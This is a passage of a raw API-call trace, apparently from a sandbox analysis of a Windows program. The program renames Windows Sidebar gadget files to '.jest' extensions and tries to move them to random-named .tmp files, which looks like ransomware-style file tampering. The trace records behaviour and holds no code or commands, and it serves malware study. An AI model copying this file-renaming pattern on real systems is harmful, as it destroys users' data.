(in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.140] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.140] GetTickCount () returned 0x11523a7 [0127.140] IsWindowVisible (hWnd=0x30268) returned 0 [0127.140] Sleep (dwMilliseconds=0x0) [0127.142] GetFullPathNameA (in: lpFileName="2b-TxjWUTswZ4hb gHKot1s-b grIX6Be5uTb8Hwi-LQ594kq2XP8-ZbUMp37hs616KynfzsuB7pfb-ey6Q9OjlZ6_boVsWP8O5.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2b-TxjWUTswZ4hb gHKot1s-b grIX6Be5uTb8Hwi-LQ594kq2XP8-ZbUMp37hs616KynfzsuB7pfb-ey6Q9OjlZ6_boVsWP8O5.tmp", lpFilePart=0x18e708*="2b-TxjWUTswZ4hb gHKot1s-b grIX6Be5uTb8Hwi-LQ594kq2XP8-ZbUMp37hs616KynfzsuB7pfb-ey6Q9OjlZ6_boVsWP8O5.tmp") returned 0x8d [0127.142] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\settings.css", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\settings.css", lpFilePart=0x18e708*="settings.css") returned 0x55 [0127.142] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\settings.css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\settings.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2b-TxjWUTswZ4hb gHKot1s-b grIX6Be5uTb8Hwi-LQ594kq2XP8-ZbUMp37hs616KynfzsuB7pfb-ey6Q9OjlZ6_boVsWP8O5.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2b-txjwutswz4hb ghkot1s-b grix6be5utb8hwi-lq594kq2xp8-zbump37hs616kynfzsub7pfb-ey6q9ojlz6_bovswp8o5.tmp")) returned 0 [0127.143] GetLastError () returned 0x5 [0127.143] GetLastError () returned 0x5 [0127.143] SetLastError (dwErrCode=0x5) [0127.143] GetLastError () returned 0x5 [0127.143] SetLastError (dwErrCode=0x5) [0127.143] GetLastError () returned 0x5 [0127.143] SetLastError (dwErrCode=0x5) [0127.143] GetFullPathNameA (in: lpFileName="2b-TxjWUTswZ4hb gHKot1s-b grIX6Be5uTb8Hwi-LQ594kq2XP8-ZbUMp37hs616KynfzsuB7pfb-ey6Q9OjlZ6_boVsWP8O5.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2b-TxjWUTswZ4hb gHKot1s-b grIX6Be5uTb8Hwi-LQ594kq2XP8-ZbUMp37hs616KynfzsuB7pfb-ey6Q9OjlZ6_boVsWP8O5.tmp", lpFilePart=0x18e6e4*="2b-TxjWUTswZ4hb gHKot1s-b grIX6Be5uTb8Hwi-LQ594kq2XP8-ZbUMp37hs616KynfzsuB7pfb-ey6Q9OjlZ6_boVsWP8O5.tmp") returned 0x8d [0127.143] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2b-TxjWUTswZ4hb gHKot1s-b grIX6Be5uTb8Hwi-LQ594kq2XP8-ZbUMp37hs616KynfzsuB7pfb-ey6Q9OjlZ6_boVsWP8O5.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x542d6232, cFileName="xjWUTswZ4hb gHKot1s-b grIX6Be5uTb8Hwi-LQ594kq2XP8-ZbUMp37hs616KynfzsuB7pfb-ey6Q9OjlZ6_boVsWP8O5.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.143] GetLastError () returned 0x2 [0127.143] GetLastError () returned 0x2 [0127.143] SetLastError (dwErrCode=0x2) [0127.144] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.144] GetTickCount () returned 0x11523a7 [0127.144] GetTickCount () returned 0x11523a7 [0127.144] CoFreeUnusedLibraries () [0127.144] GetTickCount () returned 0x11523a7 [0127.144] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.144] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.144] GetTickCount () returned 0x11523a7 [0127.144] IsWindowVisible (hWnd=0x30268) returned 0 [0127.144] Sleep (dwMilliseconds=0x0) [0127.145] MoveFileA (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\settings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\settings.css"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\settings.css.jest" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\settings.css.jest")) returned 0 [0127.145] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\settings.css", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\settings.css", lpFilePart=0x18e6d8*="settings.css") returned 0x4f [0127.146] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\settings.css", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4e6, dwReserved0=0x57, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 0x143ce48 [0127.146] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.146] VarBstrFromR4 (in: fltIn=0x47944582, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.02") returned 0x0 [0127.146] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.146] GetTickCount () returned 0x11523a7 [0127.147] GetTickCount () returned 0x11523a7 [0127.147] CoFreeUnusedLibraries () [0127.147] GetTickCount () returned 0x11523a7 [0127.147] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.147] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.147] GetTickCount () returned 0x11523a7 [0127.147] IsWindowVisible (hWnd=0x30268) returned 0 [0127.147] Sleep (dwMilliseconds=0x0) [0127.149] GetFullPathNameA (in: lpFileName="Lq0r IGVcw0I7M6Lfo5ClH5SY8GU EA2MxYHDKV3P_P5JbHxvhvfUx3eBK2D5Wl2pOEBZFNvECOgwCGPNy8n_j93U17NeF15pIK.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Lq0r IGVcw0I7M6Lfo5ClH5SY8GU EA2MxYHDKV3P_P5JbHxvhvfUx3eBK2D5Wl2pOEBZFNvECOgwCGPNy8n_j93U17NeF15pIK.tmp", lpFilePart=0x18e708*="Lq0r IGVcw0I7M6Lfo5ClH5SY8GU EA2MxYHDKV3P_P5JbHxvhvfUx3eBK2D5Wl2pOEBZFNvECOgwCGPNy8n_j93U17NeF15pIK.tmp") returned 0x8d [0127.149] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\settings.css", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\settings.css", lpFilePart=0x18e708*="settings.css") returned 0x4f [0127.149] MoveFileA (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\settings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\settings.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Lq0r IGVcw0I7M6Lfo5ClH5SY8GU EA2MxYHDKV3P_P5JbHxvhvfUx3eBK2D5Wl2pOEBZFNvECOgwCGPNy8n_j93U17NeF15pIK.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lq0r igvcw0i7m6lfo5clh5sy8gu ea2mxyhdkv3p_p5jbhxvhvfux3ebk2d5wl2poebzfnvecogwcgpny8n_j93u17nef15pik.tmp")) returned 0 [0127.150] GetLastError () returned 0x5 [0127.150] GetLastError () returned 0x5 [0127.150] SetLastError (dwErrCode=0x5) [0127.150] GetLastError () returned 0x5 [0127.150] SetLastError (dwErrCode=0x5) [0127.150] GetLastError () returned 0x5 [0127.150] SetLastError (dwErrCode=0x5) [0127.150] GetFullPathNameA (in: lpFileName="Lq0r IGVcw0I7M6Lfo5ClH5SY8GU EA2MxYHDKV3P_P5JbHxvhvfUx3eBK2D5Wl2pOEBZFNvECOgwCGPNy8n_j93U17NeF15pIK.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Lq0r IGVcw0I7M6Lfo5ClH5SY8GU EA2MxYHDKV3P_P5JbHxvhvfUx3eBK2D5Wl2pOEBZFNvECOgwCGPNy8n_j93U17NeF15pIK.tmp", lpFilePart=0x18e6e4*="Lq0r IGVcw0I7M6Lfo5ClH5SY8GU EA2MxYHDKV3P_P5JbHxvhvfUx3eBK2D5Wl2pOEBZFNvECOgwCGPNy8n_j93U17NeF15pIK.tmp") returned 0x8d [0127.150] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Lq0r IGVcw0I7M6Lfo5ClH5SY8GU EA2MxYHDKV3P_P5JbHxvhvfUx3eBK2D5Wl2pOEBZFNvECOgwCGPNy8n_j93U17NeF15pIK.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x7230714c, cFileName=" IGVcw0I7M6Lfo5ClH5SY8GU EA2MxYHDKV3P_P5JbHxvhvfUx3eBK2D5Wl2pOEBZFNvECOgwCGPNy8n_j93U17NeF15pIK.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.150] GetLastError () returned 0x2 [0127.150] GetLastError () returned 0x2 [0127.150] SetLastError (dwErrCode=0x2) [0127.153] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.153] GetTickCount () returned 0x11523b7 [0127.153] GetTickCount () returned 0x11523b7 [0127.153] CoFreeUnusedLibraries () [0127.153] GetTickCount () returned 0x11523b7 [0127.154] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.154] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.154] GetTickCount () returned 0x11523b7 [0127.154] IsWindowVisible (hWnd=0x30268) returned 0 [0127.154] Sleep (dwMilliseconds=0x0) [0127.155] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\navBack.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\navback.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\navBack.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\navback.png.jest")) returned 0 [0127.158] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\navBack.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\navBack.png", lpFilePart=0x18e6d8*="navBack.png") returned 0x51 [0127.158] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\navBack.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba56bd45, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba56bd45, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc69969dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xcaa, dwReserved0=0x57, dwReserved1=0x0, cFileName="navBack.png", cAlternateFileName="")) returned 0x143ce48 [0127.159] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.160] VarBstrFromR4 (in: fltIn=0x47944584, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.03") returned 0x0 [0127.160] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.160] GetTickCount () returned 0x11523b7 [0127.160] GetTickCount () returned 0x11523b7 [0127.161] CoFreeUnusedLibraries () [0127.161] GetTickCount () returned 0x11523b7 [0127.161] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.161] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.161] GetTickCount () returned 0x11523b7 [0127.161] IsWindowVisible (hWnd=0x30268) returned 0 [0127.161] Sleep (dwMilliseconds=0x0) [0127.161] GetFullPathNameA (in: lpFileName="Mmf8PFF53pGIDwKkQ-gRQ8f1dBvBBBmMsh0VILIV4LW4nF7IfnenXw2504M9j69g5_0vFZIDeSZwmSyyFyBoY6vHgIcRYgP1wfcy.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mmf8PFF53pGIDwKkQ-gRQ8f1dBvBBBmMsh0VILIV4LW4nF7IfnenXw2504M9j69g5_0vFZIDeSZwmSyyFyBoY6vHgIcRYgP1wfcy.tmp", lpFilePart=0x18e708*="Mmf8PFF53pGIDwKkQ-gRQ8f1dBvBBBmMsh0VILIV4LW4nF7IfnenXw2504M9j69g5_0vFZIDeSZwmSyyFyBoY6vHgIcRYgP1wfcy.tmp") returned 0x8e [0127.161] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\navBack.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\navBack.png", lpFilePart=0x18e708*="navBack.png") returned 0x51 [0127.162] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\navBack.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\navback.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mmf8PFF53pGIDwKkQ-gRQ8f1dBvBBBmMsh0VILIV4LW4nF7IfnenXw2504M9j69g5_0vFZIDeSZwmSyyFyBoY6vHgIcRYgP1wfcy.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mmf8pff53pgidwkkq-grq8f1dbvbbbmmsh0viliv4lw4nf7ifnenxw2504m9j69g5_0vfzideszwmsyyfyboy6vhgicrygp1wfcy.tmp")) returned 0 [0127.164] GetLastError () returned 0x5 [0127.164] GetLastError () returned 0x5 [0127.164] SetLastError (dwErrCode=0x5) [0127.164] GetLastError () returned 0x5 [0127.164] SetLastError (dwErrCode=0x5) [0127.164] GetLastError () returned 0x5 [0127.164] SetLastError (dwErrCode=0x5) [0127.164] GetFullPathNameA (in: lpFileName="Mmf8PFF53pGIDwKkQ-gRQ8f1dBvBBBmMsh0VILIV4LW4nF7IfnenXw2504M9j69g5_0vFZIDeSZwmSyyFyBoY6vHgIcRYgP1wfcy.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mmf8PFF53pGIDwKkQ-gRQ8f1dBvBBBmMsh0VILIV4LW4nF7IfnenXw2504M9j69g5_0vFZIDeSZwmSyyFyBoY6vHgIcRYgP1wfcy.tmp", lpFilePart=0x18e6e4*="Mmf8PFF53pGIDwKkQ-gRQ8f1dBvBBBmMsh0VILIV4LW4nF7IfnenXw2504M9j69g5_0vFZIDeSZwmSyyFyBoY6vHgIcRYgP1wfcy.tmp") returned 0x8e [0127.164] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mmf8PFF53pGIDwKkQ-gRQ8f1dBvBBBmMsh0VILIV4LW4nF7IfnenXw2504M9j69g5_0vFZIDeSZwmSyyFyBoY6vHgIcRYgP1wfcy.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x38666d4d, cFileName="PFF53pGIDwKkQ-gRQ8f1dBvBBBmMsh0VILIV4LW4nF7IfnenXw2504M9j69g5_0vFZIDeSZwmSyyFyBoY6vHgIcRYgP1wfcy.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.165] GetLastError () returned 0x2 [0127.165] GetLastError () returned 0x2 [0127.165] SetLastError (dwErrCode=0x2) [0127.167] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.167] GetTickCount () returned 0x11523c7 [0127.167] GetTickCount () returned 0x11523c7 [0127.167] CoFreeUnusedLibraries () [0127.167] GetTickCount () returned 0x11523c7 [0127.167] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.167] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.167] GetTickCount () returned 0x11523c7 [0127.167] IsWindowVisible (hWnd=0x30268) returned 0 [0127.167] Sleep (dwMilliseconds=0x0) [0127.167] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\drag.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\drag.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\drag.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\drag.png.jest")) returned 0 [0127.168] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\drag.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\drag.png", lpFilePart=0x18e6d8*="drag.png") returned 0x48 [0127.168] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\drag.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbafe414, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbafe414, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb0b3b1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x7575, dwReserved0=0x57, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 0x143ce48 [0127.168] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.168] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.168] VarBstrFromR4 (in: fltIn=0x47944586, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.05") returned 0x0 [0127.170] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.170] GetTickCount () returned 0x11523c7 [0127.170] GetTickCount () returned 0x11523c7 [0127.170] CoFreeUnusedLibraries () [0127.170] GetTickCount () returned 0x11523c7 [0127.170] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.170] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.170] GetTickCount () returned 0x11523c7 [0127.170] IsWindowVisible (hWnd=0x30268) returned 0 [0127.170] Sleep (dwMilliseconds=0x0) [0127.170] GetFullPathNameA (in: lpFileName="e iLTaY-BngU4FQfTZduhKdG1V_5 FCV9G8BVJ wJvU9ol4v14HRTYvUFOipUiLQx9gQ7xRuextx7YucunvXdE2FCURAnA8g4wuJY.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\e iLTaY-BngU4FQfTZduhKdG1V_5 FCV9G8BVJ wJvU9ol4v14HRTYvUFOipUiLQx9gQ7xRuextx7YucunvXdE2FCURAnA8g4wuJY.tmp", lpFilePart=0x18e708*="e iLTaY-BngU4FQfTZduhKdG1V_5 FCV9G8BVJ wJvU9ol4v14HRTYvUFOipUiLQx9gQ7xRuextx7YucunvXdE2FCURAnA8g4wuJY.tmp") returned 0x8f [0127.171] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\drag.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\drag.png", lpFilePart=0x18e708*="drag.png") returned 0x48 [0127.171] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\drag.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\drag.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\e iLTaY-BngU4FQfTZduhKdG1V_5 FCV9G8BVJ wJvU9ol4v14HRTYvUFOipUiLQx9gQ7xRuextx7YucunvXdE2FCURAnA8g4wuJY.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\e iltay-bngu4fqftzduhkdg1v_5 fcv9g8bvj wjvu9ol4v14hrtyvufoipuilqx9gq7xruextx7yucunvxde2fcurana8g4wujy.tmp")) returned 0 [0127.171] GetLastError () returned 0x5 [0127.171] GetLastError () returned 0x5 [0127.171] SetLastError (dwErrCode=0x5) [0127.171] GetLastError () returned 0x5 [0127.171] SetLastError (dwErrCode=0x5) [0127.171] GetLastError () returned 0x5 [0127.171] SetLastError (dwErrCode=0x5) [0127.172] GetFullPathNameA (in: lpFileName="e iLTaY-BngU4FQfTZduhKdG1V_5 FCV9G8BVJ wJvU9ol4v14HRTYvUFOipUiLQx9gQ7xRuextx7YucunvXdE2FCURAnA8g4wuJY.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\e iLTaY-BngU4FQfTZduhKdG1V_5 FCV9G8BVJ wJvU9ol4v14HRTYvUFOipUiLQx9gQ7xRuextx7YucunvXdE2FCURAnA8g4wuJY.tmp", lpFilePart=0x18e6e4*="e iLTaY-BngU4FQfTZduhKdG1V_5 FCV9G8BVJ wJvU9ol4v14HRTYvUFOipUiLQx9gQ7xRuextx7YucunvXdE2FCURAnA8g4wuJY.tmp") returned 0x8f [0127.172] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\e iLTaY-BngU4FQfTZduhKdG1V_5 FCV9G8BVJ wJvU9ol4v14HRTYvUFOipUiLQx9gQ7xRuextx7YucunvXdE2FCURAnA8g4wuJY.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4c692065, cFileName="TaY-BngU4FQfTZduhKdG1V_5 FCV9G8BVJ wJvU9ol4v14HRTYvUFOipUiLQx9gQ7xRuextx7YucunvXdE2FCURAnA8g4wuJY.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.172] GetLastError () returned 0x2 [0127.172] GetLastError () returned 0x2 [0127.172] SetLastError (dwErrCode=0x2) [0127.172] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.173] GetTickCount () returned 0x11523c7 [0127.173] GetTickCount () returned 0x11523c7 [0127.173] CoFreeUnusedLibraries () [0127.173] GetTickCount () returned 0x11523c7 [0127.173] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.173] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.173] GetTickCount () returned 0x11523c7 [0127.173] IsWindowVisible 